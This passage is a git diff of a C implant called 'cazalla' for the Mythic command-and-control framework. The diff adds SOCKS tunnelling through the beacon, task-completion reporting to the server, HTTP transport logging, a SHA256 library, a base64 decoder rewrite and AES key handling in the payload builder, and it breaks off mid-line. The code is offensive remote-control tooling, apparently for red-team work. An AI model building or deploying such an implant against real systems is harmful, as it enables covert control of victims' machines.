memcpy(b64str_socks, buf + ecur, b64len); + b64str_socks[b64len] = '\0'; + printf("[PAQUETE] Decodificando base64 SOCKS: %s\n", b64str_socks); + fflush(stdout); + base64_decode(b64str_socks, &raw, &raw_len); + printf("[PAQUETE] Base64 SOCKS decodificado: %zu bytes\n", raw_len); + fflush(stdout); + LocalFree(b64str_socks); + } + } + + printf("[PAQUETE] Procesando SOCKS incoming: sid=%u exit=%u len=%zu\n", sid, exitf, raw_len); + fflush(stdout); + socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len); + + if (raw) LocalFree(raw); + ecur += b64len; + } + + // Remover bloque SOCKS del analizador + respuesta->tamano = cursor; + printf("[PAQUETE] Bloque SOCKS procesado, tamaño ajustado a %zu\n", cursor); + fflush(stdout); + found = TRUE; + break; + } + cursor--; + } + + if (!found) { + printf("[PAQUETE] No se encontró bloque SOCKS\n"); + fflush(stdout); + } + } + } else { + printf("[PAQUETE] ERROR: fallo al decodificar base64\n"); + fflush(stdout); + } + LocalFree(base64str); + } + } + return respuesta; } @@ -204,3 +616,27 @@ BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...) { free(tempBuffer); return TRUE; } +// Sends SUCCESS post_response to server for individual task (similar to Xenon's PackageComplete) +VOID paqueteCompletado(PCHAR taskUuid, PPaquete datosOpcionales) { + // Initialize post_response package + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuesta, taskUuid, FALSE); + + if (datosOpcionales != NULL && datosOpcionales->buffer != NULL && datosOpcionales->length > 0) { + // Use data from package + addBytes(respuesta, (PBYTE)datosOpcionales->buffer, datosOpcionales->length, TRUE); + } else { + // If no data, add empty output + addInt32(respuesta, 0); + } + + // Success response - add TASK_COMPLETE byte + addByte(respuesta, TASK_COMPLETE); + + // Send + Analizador* resp = mandarPaquete(respuesta); + + // Cleanup + liberarPaquete(respuesta); + if (resp) liberarAnalizador(resp); +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sha256.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sha256.c new file mode 100644 index 0000000..904edcf --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sha256.c @@ -0,0 +1,267 @@ +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// WjCryptLib_Sha256 +// +// Implementation of SHA256 hash function. +// Original author: Tom St Denis, tomstdenis@gmail.com, http://libtom.org +// Modified by WaterJuice retaining Public Domain license. +// +// This is free and unencumbered software released into the public domain - +// June 2013 waterjuice.org +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// IMPORTS +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +#include "sha256.h" +#include + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// MACROS +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +#define ror(value, bits) (((value) >> (bits)) | ((value) << (32 - (bits)))) + +#define MIN(x, y) (((x) < (y)) ? (x) : (y)) + +#define STORE32H(x, y) \ + { \ + (y)[0] = (uint8_t)(((x) >> 24) & 255); \ + (y)[1] = (uint8_t)(((x) >> 16) & 255); \ + (y)[2] = (uint8_t)(((x) >> 8) & 255); \ + (y)[3] = (uint8_t)((x)&255); \ + } + +#define LOAD32H(x, y) \ + { \ + x = ((uint32_t)((y)[0] & 255) << 24) | ((uint32_t)((y)[1] & 255) << 16) | \ + ((uint32_t)((y)[2] & 255) << 8) | ((uint32_t)((y)[3] & 255)); \ + } + +#define STORE64H(x, y) \ + { \ + (y)[0] = (uint8_t)(((x) >> 56) & 255); \ + (y)[1] = (uint8_t)(((x) >> 48) & 255); \ + (y)[2] = (uint8_t)(((x) >> 40) & 255); \ + (y)[3] = (uint8_t)(((x) >> 32) & 255); \ + (y)[4] = (uint8_t)(((x) >> 24) & 255); \ + (y)[5] = (uint8_t)(((x) >> 16) & 255); \ + (y)[6] = (uint8_t)(((x) >> 8) & 255); \ + (y)[7] = (uint8_t)((x)&255); \ + } + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// CONSTANTS +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +// The K array +static const uint32_t K[64] = { + 0x428a2f98UL, 0x71374491UL, 0xb5c0fbcfUL, 0xe9b5dba5UL, 0x3956c25bUL, + 0x59f111f1UL, 0x923f82a4UL, 0xab1c5ed5UL, 0xd807aa98UL, 0x12835b01UL, + 0x243185beUL, 0x550c7dc3UL, 0x72be5d74UL, 0x80deb1feUL, 0x9bdc06a7UL, + 0xc19bf174UL, 0xe49b69c1UL, 0xefbe4786UL, 0x0fc19dc6UL, 0x240ca1ccUL, + 0x2de92c6fUL, 0x4a7484aaUL, 0x5cb0a9dcUL, 0x76f988daUL, 0x983e5152UL, + 0xa831c66dUL, 0xb00327c8UL, 0xbf597fc7UL, 0xc6e00bf3UL, 0xd5a79147UL, + 0x06ca6351UL, 0x14292967UL, 0x27b70a85UL, 0x2e1b2138UL, 0x4d2c6dfcUL, + 0x53380d13UL, 0x650a7354UL, 0x766a0abbUL, 0x81c2c92eUL, 0x92722c85UL, + 0xa2bfe8a1UL, 0xa81a664bUL, 0xc24b8b70UL, 0xc76c51a3UL, 0xd192e819UL, + 0xd6990624UL, 0xf40e3585UL, 0x106aa070UL, 0x19a4c116UL, 0x1e376c08UL, + 0x2748774cUL, 0x34b0bcb5UL, 0x391c0cb3UL, 0x4ed8aa4aUL, 0x5b9cca4fUL, + 0x682e6ff3UL, 0x748f82eeUL, 0x78a5636fUL, 0x84c87814UL, 0x8cc70208UL, + 0x90befffaUL, 0xa4506cebUL, 0xbef9a3f7UL, 0xc67178f2UL}; + +#define BLOCK_SIZE 64 + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// INTERNAL FUNCTIONS +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +// Various logical functions +#define Ch(x, y, z) (z ^ (x & (y ^ z))) +#define Maj(x, y, z) (((x | y) & z) | (x & y)) +#define S(x, n) ror((x), (n)) +#define R(x, n) (((x)&0xFFFFFFFFUL) >> (n)) +#define Sigma0(x) (S(x, 2) ^ S(x, 13) ^ S(x, 22)) +#define Sigma1(x) (S(x, 6) ^ S(x, 11) ^ S(x, 25)) +#define Gamma0(x) (S(x, 7) ^ S(x, 18) ^ R(x, 3)) +#define Gamma1(x) (S(x, 17) ^ S(x, 19) ^ R(x, 10)) + +#define Sha256Round(a, b, c, d, e, f, g, h, i) \ + t0 = h + Sigma1(e) + Ch(e, f, g) + K[i] + W[i]; \ + t1 = Sigma0(a) + Maj(a, b, c); \ + d += t0; \ + h = t0 + t1; + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// TransformFunction +// +// Compress 512-bits +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +static void TransformFunction(Sha256Context* Context, uint8_t const* Buffer) { + uint32_t S[8]; + uint32_t W[64]; + uint32_t t0; + uint32_t t1; + uint32_t t; + int i; + + // Copy state into S + for (i = 0; i < 8; i++) { + S[i] = Context->state[i]; + } + + // Copy the state into 512-bits into W[0..15] + for (i = 0; i < 16; i++) { + LOAD32H(W[i], Buffer + (4 * i)); + } + + // Fill W[16..63] + for (i = 16; i < 64; i++) { + W[i] = Gamma1(W[i - 2]) + W[i - 7] + Gamma0(W[i - 15]) + W[i - 16]; + } + + // Compress + for (i = 0; i < 64; i++) { + Sha256Round(S[0], S[1], S[2], S[3], S[4], S[5], S[6], S[7], i); + t = S[7]; + S[7] = S[6]; + S[6] = S[5]; + S[5] = S[4]; + S[4] = S[3]; + S[3] = S[2]; + S[2] = S[1]; + S[1] = S[0]; + S[0] = t; + } + + // Feedback + for (i = 0; i < 8; i++) { + Context->state[i] = Context->state[i] + S[i]; + } +} + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// PUBLIC FUNCTIONS +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// Sha256Initialise +// +// Initialises a SHA256 Context. Use this to initialise/reset a context. +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +void Sha256Initialise(Sha256Context* Context // [out] +) { + Context->curlen = 0; + Context->length = 0; + Context->state[0] = 0x6A09E667UL; + Context->state[1] = 0xBB67AE85UL; + Context->state[2] = 0x3C6EF372UL; + Context->state[3] = 0xA54FF53AUL; + Context->state[4] = 0x510E527FUL; + Context->state[5] = 0x9B05688CUL; + Context->state[6] = 0x1F83D9ABUL; + Context->state[7] = 0x5BE0CD19UL; +} + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// Sha256Update +// +// Adds data to the SHA256 context. This will process the data and update the +// internal state of the context. Keep on calling this function until all the +// data has been added. Then call Sha256Finalise to calculate the hash. +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +void Sha256Update(Sha256Context* Context, // [in out] + void const* Buffer, // [in] + uint32_t BufferSize // [in] +) { + uint32_t n; + + if (Context->curlen > sizeof(Context->buf)) { + return; + } + + while (BufferSize > 0) { + if (Context->curlen == 0 && BufferSize >= BLOCK_SIZE) { + TransformFunction(Context, (uint8_t*)Buffer); + Context->length += BLOCK_SIZE * 8; + Buffer = (uint8_t*)Buffer + BLOCK_SIZE; + BufferSize -= BLOCK_SIZE; + } else { + n = MIN(BufferSize, (BLOCK_SIZE - Context->curlen)); + memcpy(Context->buf + Context->curlen, Buffer, (size_t)n); + Context->curlen += n; + Buffer = (uint8_t*)Buffer + n; + BufferSize -= n; + if (Context->curlen == BLOCK_SIZE) { + TransformFunction(Context, Context->buf); + Context->length += 8 * BLOCK_SIZE; + Context->curlen = 0; + } + } + } +} + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// Sha256Finalise +// +// Performs the final calculation of the hash and returns the digest (32 byte +// buffer containing 256bit hash). After calling this, Sha256Initialised must +// be used to reuse the context. +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +void Sha256Finalise(Sha256Context* Context, // [in out] + SHA256_HASH* Digest // [out] +) { + int i; + + if (Context->curlen >= sizeof(Context->buf)) { + return; + } + + // Increase the length of the message + Context->length += Context->curlen * 8; + + // Append the '1' bit + Context->buf[Context->curlen++] = (uint8_t)0x80; + + // if the length is currently above 56 bytes we append zeros + // then compress. Then we can fall back to padding zeros and length + // encoding like normal. + if (Context->curlen > 56) { + while (Context->curlen < 64) { + Context->buf[Context->curlen++] = (uint8_t)0; + } + TransformFunction(Context, Context->buf); + Context->curlen = 0; + } + + // Pad up to 56 bytes of zeroes + while (Context->curlen < 56) { + Context->buf[Context->curlen++] = (uint8_t)0; + } + + // Store length + STORE64H(Context->length, Context->buf + 56); + TransformFunction(Context, Context->buf); + + // Copy output + for (i = 0; i < 8; i++) { + STORE32H(Context->state[i], Digest->bytes + (4 * i)); + } +} + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// Sha256Calculate +// +// Combines Sha256Initialise, Sha256Update, and Sha256Finalise into one +// function. Calculates the SHA256 hash of the buffer. +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +void Sha256Calculate(void const* Buffer, // [in] + uint32_t BufferSize, // [in] + SHA256_HASH* Digest // [in] +) { + Sha256Context context; + + Sha256Initialise(&context); + Sha256Update(&context, Buffer, BufferSize); + Sha256Finalise(&context, Digest); +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sha256.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sha256.h new file mode 100644 index 0000000..49cb0e0 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sha256.h @@ -0,0 +1,82 @@ +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// WjCryptLib_Sha256 +// +// Implementation of SHA256 hash function. +// Original author: Tom St Denis, tomstdenis@gmail.com, http://libtom.org +// Modified by WaterJuice retaining Public Domain license. +// +// This is free and unencumbered software released into the public domain - +// June 2013 waterjuice.org +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +#ifndef _SHA256_H_ +#define _SHA256_H_ + +#pragma once + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// IMPORTS +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +#include +#include + +typedef struct { + uint64_t length; + uint32_t state[8]; + uint32_t curlen; + uint8_t buf[64]; +} Sha256Context; + +#define SHA256_HASH_SIZE (256 / 8) + +typedef struct { + uint8_t bytes[SHA256_HASH_SIZE]; +} SHA256_HASH; + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// PUBLIC FUNCTIONS +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// Sha256Initialise +// +// Initialises a SHA256 Context. Use this to initialise/reset a context. +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +void Sha256Initialise(Sha256Context* Context // [out] +); + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// Sha256Update +// +// Adds data to the SHA256 context. This will process the data and update the +// internal state of the context. Keep on calling this function until all the +// data has been added. Then call Sha256Finalise to calculate the hash. +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +void Sha256Update(Sha256Context* Context, // [in out] + void const* Buffer, // [in] + uint32_t BufferSize // [in] +); + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// Sha256Finalise +// +// Performs the final calculation of the hash and returns the digest (32 byte +// buffer containing 256bit hash). After calling this, Sha256Initialised must +// be used to reuse the context. +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +void Sha256Finalise(Sha256Context* Context, // [in out] + SHA256_HASH* Digest // [out] +); + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +// Sha256Calculate +// +// Combines Sha256Initialise, Sha256Update, and Sha256Finalise into one +// function. Calculates the SHA256 hash of the buffer. +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +void Sha256Calculate(void const* Buffer, // [in] + uint32_t BufferSize, // [in] + SHA256_HASH* Digest // [in] +); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c index 54a74b3..41abf43 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c @@ -48,6 +48,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { DWORD respSize = 0; UCHAR buffer[1024] = { 0 }; DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; + wchar_t urlBuffer[512] = {0}; // Declare at function scope WINHTTP_PROXY_INFO infoProxy = { 0 }; WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 }; @@ -87,10 +88,26 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { printf("[TRANSPORTE] WinHttpConnect OK\n"); fflush(stdout); - printf("[TRANSPORTE] WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x\n", - cazallaConfig->endPoint, cazallaConfig->metodoHttp, httpFlags); + // Log complete URL - ensure endpoint starts with / + wchar_t endpointBuf[256]; + if (cazallaConfig->endPoint && cazallaConfig->endPoint[0] != L'/') { + swprintf(endpointBuf, 256, L"/%ls", cazallaConfig->endPoint); + } else { + wcsncpy(endpointBuf, cazallaConfig->endPoint ? cazallaConfig->endPoint : L"", 256); + } + + swprintf(urlBuffer, 512, L"%ls://%ls:%d%ls", + cazallaConfig->SSL ? L"https" : L"http", + cazallaConfig->hostName, + cazallaConfig->puertoHttp, + endpointBuf); + printf("[TRANSPORTE] Complete URL: %ls\n", urlBuffer); fflush(stdout); - hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags); + + printf("[TRANSPORTE] WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x\n", + endpointBuf, cazallaConfig->metodoHttp, httpFlags); + fflush(stdout); + hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags); if (!hPeticion) { printf("[TRANSPORTE] ERROR: WinHttpOpenRequest falló (%lu)\n", GetLastError()); fflush(stdout); @@ -132,6 +149,20 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { printf("[TRANSPORTE] Enviando %u bytes de datos codificados\n", bufferLen); fflush(stdout); + + // Log first 100 bytes of data being sent (base64 preview) + if (bufferLen > 0 && bufferIn) { + char preview[101] = {0}; + size_t previewLen = bufferLen > 100 ? 100 : bufferLen; + memcpy(preview, bufferIn, previewLen); + preview[previewLen] = '\0'; + printf("[TRANSPORTE] Data preview (first %zu bytes): %s\n", previewLen, preview); + if (bufferLen > 100) { + printf("[TRANSPORTE] ... (total %u bytes, showing first 100)\n", bufferLen); + } + fflush(stdout); + } + if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) { printf("[TRANSPORTE] ERROR: WinHttpSendRequest falló (%lu)\n", GetLastError()); fflush(stdout); @@ -159,8 +190,25 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { codigoDeEstado = obtenerCodigoDeEstado(hPeticion); printf("[TRANSPORTE] HTTP status = %lu\n", codigoDeEstado); fflush(stdout); + + // Try to get response headers for debugging + if (codigoDeEstado != 200) { + wchar_t headers[2048] = {0}; + DWORD headerSize = sizeof(headers) / sizeof(wchar_t); + if (WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_RAW_HEADERS_CRLF, + WINHTTP_HEADER_NAME_BY_INDEX, headers, &headerSize, WINHTTP_NO_HEADER_INDEX)) { + printf("[TRANSPORTE] Response headers:\n"); + printf("[TRANSPORTE] %ls\n", headers); + } else { + printf("[TRANSPORTE] Could not retrieve response headers (error: %lu)\n", GetLastError()); + } + fflush(stdout); + } + if (codigoDeEstado != 200) { printf("[TRANSPORTE] ERROR: HTTP status no OK --> %lu\n", codigoDeEstado); + printf("[TRANSPORTE] Request URL was: %ls\n", urlBuffer); + printf("[TRANSPORTE] Request size was: %u bytes\n", bufferLen); fflush(stdout); WinHttpCloseHandle(hPeticion); WinHttpCloseHandle(hConexion); @@ -202,69 +250,8 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT); PAnalizador analizador = nuevoAnalizador((PBYTE)respBuffer, respSize); - /* Desempaquetar bloque de extensión SOCKS si está presente al final: - [ ... base message ... ][0xF5][Int32 ext_len][ext_bytes] - donde ext_bytes = secuencia de registros: [Int32 sid][Byte exit][Int32 b64len][b64] - */ - printf("[TRANSPORTE] Buscando bloque SOCKS (marker 0xF5) en %zu bytes\n", analizador ? analizador->tamano : 0); - fflush(stdout); - if (analizador && analizador->tamano >= 1 + 4) { - SIZE_T i = analizador->tamano; - /* leer backwards el tamaño y marcador; más simple: parse forwards on a temp cursor */ - PBYTE buf = analizador->original; - SIZE_T len = analizador->tamano; - if (len >= 5 && buf[len - (1 + 4)] == (BYTE)SOCKS_BLOCK_MARKER) { - /* This backwards check is brittle; instead, scan from start for marker */ - } - SIZE_T cursor = 0; - while (cursor + 5 <= len) { - if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) { - printf("[TRANSPORTE] ¡Marcador 0xF5 encontrado en offset %zu!\n", cursor); - fflush(stdout); - if (cursor + 5 > len) break; - UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4]; - printf("[TRANSPORTE] Bloque SOCKS: ext_len=%u\n", ext_len); - fflush(stdout); - if (cursor + 5 + ext_len > len) break; - SIZE_T ecur = cursor + 5; - SIZE_T eend = cursor + 5 + ext_len; - while (ecur + 9 <= eend) { - UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3]; - BYTE exitf = buf[ecur+4]; - UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8]; - printf("[TRANSPORTE] SOCKS msg: sid=%u exit=%u b64len=%u\n", sid, exitf, b64len); - fflush(stdout); - ecur += 9; - if (ecur + b64len > eend) break; - unsigned char *raw = NULL; size_t raw_len = 0; - char *b64str = NULL; - if (b64len > 0) { - b64str = (char*)LocalAlloc(LPTR, b64len + 1); - if (!b64str) break; - memcpy(b64str, buf + ecur, b64len); - b64str[b64len] = '\0'; - printf("[TRANSPORTE] Decodificando base64: %s\n", b64str); - fflush(stdout); - base64_decode(b64str, &raw, &raw_len); - printf("[TRANSPORTE] Base64 decodificado: %zu bytes\n", raw_len); - fflush(stdout); - LocalFree(b64str); - } - printf("[TRANSPORTE] Procesando SOCKS incoming: sid=%u exit=%u len=%zu\n", sid, exitf, raw_len); - fflush(stdout); - socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len); - if (raw) LocalFree(raw); - ecur += b64len; - } - /* remove extension from the analyzer's view */ - analizador->tamano = cursor; /* trim at marker */ - printf("[TRANSPORTE] Bloque SOCKS procesado, tamaño del analizador ajustado a %zu\n", cursor); - fflush(stdout); - break; - } - cursor++; - } - } + /* NOTA: El parsing del bloque SOCKS se hace DESPUÉS de decodificar base64 en paquete.c */ + /* Aquí solo devolvemos el analizador con los datos base64-encoded */ printf("[TRANSPORTE] realizarPeticionHTTP() completado\n"); fflush(stdout); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c index e51e929..4b72c7a 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c @@ -6,13 +6,6 @@ #define DBG_PRINTF(...) ((void)0) #endif -int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, - 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, - 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, - 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, - 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, - 43, 44, 45, 46, 47, 48, 49, 50, 51 }; - const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; size_t b64tamanoCodificado(size_t inlen) { @@ -100,40 +93,35 @@ int b64IsValidChar(char c) { return 0; } +static int b64_inverse(char c) { + if (c >= 'A' && c <= 'Z') return c - 'A'; + if (c >= 'a' && c <= 'z') return c - 'a' + 26; + if (c >= '0' && c <= '9') return c - '0' + 52; + if (c == '+') return 62; + if (c == '/') return 63; + return -1; +} + int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) { - SIZE_T len; - SIZE_T i; - SIZE_T j; - int v; + if (!in || !out) return 0; - if (in == NULL || out == NULL) { - return 0; - } + SIZE_T len = strlen(in); + if (len % 4 != 0) return 0; - len = strlen(in); - if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) { - return 0; - } + SIZE_T i = 0, j = 0; + while (i < len) { + int a = b64_inverse(in[i]); + int b = b64_inverse(in[i+1]); + int c = (in[i+2] == '=') ? -1 : b64_inverse(in[i+2]); + int d = (in[i+3] == '=') ? -1 : b64_inverse(in[i+3]); - for (i = 0; i < len; i++) { - if (!b64IsValidChar(in[i])) { + if (a < 0 || b < 0 || (in[i+2] != '=' && c < 0) || (in[i+3] != '=' && d < 0)) return 0; - } - } - for (i = 0, j = 0; i < len; i += 4, j += 3) { - v = b64invs[in[i] - 43]; - v = (v << 6) | b64invs[in[i + 1] - 43]; - v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43]; - v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43]; - - out[j] = (v >> 16) & 0xFF; - if (in[i + 2] != '=') { - out[j + 1] = (v >> 8) & 0xFF; - } - if (in[i + 3] != '=') { - out[j + 2] = v & 0xFF; - } + out[j++] = (a << 2) | (b >> 4); + if (c >= 0) out[j++] = ((b & 0xF) << 4) | (c >> 2); + if (d >= 0) out[j++] = ((c & 0x3) << 6) | d; + i += 4; } return 1; } diff --git a/Payload_Type/cazalla/cazalla/agent_functions/builder.py b/Payload_Type/cazalla/cazalla/agent_functions/builder.py index 106a915..6b84c0c 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/builder.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/builder.py @@ -1,5 +1,6 @@ import pathlib import tempfile +import base64 from mythic_container.PayloadBuilder import * from mythic_container.MythicCommandBase import * from mythic_container.MythicRPC import * @@ -18,16 +19,22 @@ class CazallaAgent(PayloadType): note = """C implant Developed by the Kaseya OFSTeam""" supports_dynamic_loading = False c2_profiles = ["http"] - mythic_encrypts = False + mythic_encrypts = True translation_container = "cazalla_translator" build_parameters = [ BuildParameter( name="output", parameter_type=BuildParameterType.ChooseOne, description="Choose output format", - choices=["exe", "dll", "debug_exe","debug_dll"], + choices=["exe", "dll"], default_value="exe" ), + BuildParameter( + name="debug", + parameter_type=BuildParameterType.Boolean, + description="Enable debug mode (adds -D_DEBUG -DDEBUG_SOCKS and console output)", + default_value=False + ), ] agent_path = pathlib.Path(".") / "cazalla" agent_icon_path = agent_path / "agent_functions" / "cazalla.png" @@ -41,6 +48,7 @@ class CazallaAgent(PayloadType): async def build(self) -> BuildResponse: resp = BuildResponse(status=BuildStatus.Success) + Config = { "payload_uuid": self.uuid, "callback_host": "", @@ -56,18 +64,110 @@ class CazallaAgent(PayloadType): "proxy_pass": "", } + # Track encryption configuration + crypto_type_value = None + aespsk_key_b64 = "" + debug_output = [] # Collect all debug messages for "Applying configuration" step + + debug_output.append(f"=== DEBUG INFO ===") + debug_output.append(f"UUID: {self.uuid}") + debug_output.append(f"Number of C2 profiles: {len(self.c2info)}") + for c2 in self.c2info: profile = c2.get_c2profile() - for key, val in c2.get_parameters_dict().items(): - if isinstance(val, dict) and 'enc_key' in val: - encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else "" + debug_output.append(f"\n--- C2 Profile: {profile} ---") + + params_dict = c2.get_parameters_dict() + if not params_dict: + debug_output.append("WARNING: get_parameters_dict() returned None or empty!") + continue + + debug_output.append(f"Parameters dict keys: {list(params_dict.keys())}") + debug_output.append(f"Full params_dict: {params_dict}") + + for key, val in params_dict.items(): + debug_output.append(f"Processing parameter: {key} = {val} (type: {type(val).__name__})") + + # Check if val is a dict that might contain enc_key + if isinstance(val, dict): + debug_output.append(f" -> Parameter {key} is a dict with keys: {list(val.keys())}") + + # Handle AESPSK dict: contains 'value' (crypto_type), 'enc_key', and 'dec_key' + if key == "AESPSK" or key == "aespsk": + # Extract crypto_type from 'value' field + if 'value' in val: + crypto_type_value = val['value'] + debug_output.append(f" -> Found crypto_type in AESPSK['value']: {crypto_type_value}") + # Extract enc_key + if 'enc_key' in val: + if val["enc_key"] is not None and val["enc_key"] != "": + aespsk_key_b64 = val["enc_key"] + try: + decoded_len = len(base64.b64decode(val['enc_key'])) + debug_output.append(f" -> Found enc_key in AESPSK: {val['enc_key'][:50]}... (decoded length: {decoded_len})") + except Exception as e: + debug_output.append(f" -> ERROR decoding enc_key: {e}") + else: + debug_output.append(f" -> enc_key in AESPSK is None or empty") + # Handle other dict parameters that might contain enc_key + elif 'enc_key' in val: + debug_output.append(f" -> Found enc_key in dict: {val['enc_key'][:50] if val['enc_key'] else 'None'}...") + if val["enc_key"] is not None and val["enc_key"] != "": + aespsk_key_b64 = val["enc_key"] + try: + decoded_len = len(base64.b64decode(val['enc_key'])) + debug_output.append(f" -> enc_key decoded length: {decoded_len}") + except Exception as e: + debug_output.append(f" -> ERROR decoding enc_key: {e}") + else: + aespsk_key_b64 = "" + debug_output.append(f" -> enc_key is None or empty") + else: + Config[key] = val else: Config[key] = val + # Log the crypto_type value and store it (in case it comes as a direct parameter) + if key == "crypto_type": + crypto_type_value = val + debug_output.append(f" -> crypto_type set to: {val}") + + # Also check if the key itself is 'enc_key' + if key == "enc_key" and val and not isinstance(val, dict): + aespsk_key_b64 = str(val) + debug_output.append(f" -> Found enc_key as direct parameter: {aespsk_key_b64[:50]}...") break + # Determine encryption based on crypto_type and enc_key + debug_output.append(f"\n=== ENCRYPTION DECISION ===") + debug_output.append(f"crypto_type_value = {crypto_type_value} (type: {type(crypto_type_value).__name__ if crypto_type_value else 'None'})") + debug_output.append(f"aespsk_key_b64 length = {len(aespsk_key_b64) if aespsk_key_b64 else 0}") + debug_output.append(f"crypto_type_value == 'aes256_hmac'? {crypto_type_value == 'aes256_hmac'}") + debug_output.append(f"aespsk_key_b64 is truthy? {bool(aespsk_key_b64)}") + + encryption_enabled = False + if crypto_type_value == "aes256_hmac" and aespsk_key_b64: + encryption_enabled = True + debug_output.append(f"✓ Encryption ENABLED: crypto_type={crypto_type_value}, enc_key present") + else: + debug_output.append(f"✗ Encryption DISABLED: crypto_type={crypto_type_value or 'none'}, enc_key={'present' if aespsk_key_b64 else 'missing'}") + + # Set encryption configuration + if encryption_enabled and aespsk_key_b64: + Config["ENCRYPTION_ENABLED"] = "1" # Use 1/0 instead of TRUE/FALSE for direct numeric use + Config["AESPSK_KEY"] = 